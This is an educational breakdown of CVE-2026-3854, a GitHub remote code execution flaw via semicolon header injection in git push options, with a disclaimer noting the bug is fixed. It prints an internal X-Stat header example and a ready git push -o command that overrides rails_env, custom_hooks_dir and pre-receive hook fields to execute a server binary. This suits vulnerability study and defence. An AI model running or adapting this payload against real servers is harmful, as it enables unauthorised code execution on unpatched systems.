
Technical breakdown of CVE-2026-3854, a GitHub RCE via header injection in git push, explaining the vulnerability, exploitation technique, and mitigation.
Practical summary of how the vulnerability discovered by Wiz Research in GitHub.com and GitHub Enterprise Server's internal git push pipeline works.
This material is for educational purposes and offensive security research. The vulnerability has already been fixed by GitHub in all supported versions. Do not attempt to reproduce it against environments that are not yours or that you do not have explicit written authorization to test. Unauthorized access to systems is a crime in Brazil (Law 12.737/2012, known as the Carolina Dieckmann Law) and may constitute computer device invasion with a penalty of detention.
An authenticated attacker achieves RCE on GitHub by sending ; in git push -o. The babeld (GitHub's internal proxy, entry point for all SSH) does not sanitize it, and the ; breaks the internal X-Stat header, overwriting security fields that gitrpcd blindly trusts. With 3 overwrites (rails_env, custom_hooks_dir, repo_pre_receive_hooks), the pre-receive hook concatenates and executes an arbitrary server binary as the git user.

Basically, we can write to the X-Stat header because there is no sanitization of the ; in git push, and we do this by pointing to a path on the target server, e.g. /bin, and then we can concatenate it with another "field" of this header, the repo_pre_receive_hooks. With that, if this field is whoami, the concatenation will become /bin/ + whoami and it will execute directly on the server.
However, by default in the X-Stat, these fields all come pre-filled by babeld, since the RPC (gitrpcd) blindly trusts it to read them, because it believes the user cannot alter them:
Below is an example of how babeld fills the fields in X-Stats:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
But because it does not sanitize the ; during git push, you can write directly to it, and to top it all off it is last-write-wins, the last write is what counts. So if I do:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
The overwritten fields become:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(It's not as simple as just throwing whoami in like the example above. It is actually a JSON, so it would look more like [{"script":"whoami"}].)
And then, on a vulnerable version, it will execute the whoami binary on the server.
But just that alone will still only run in the sandbox. That's why it's important to change one more parameter in the X-Stats header, the rails_env=production. It needs to be anything other than production.
Finally, the malicious script would look like this:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"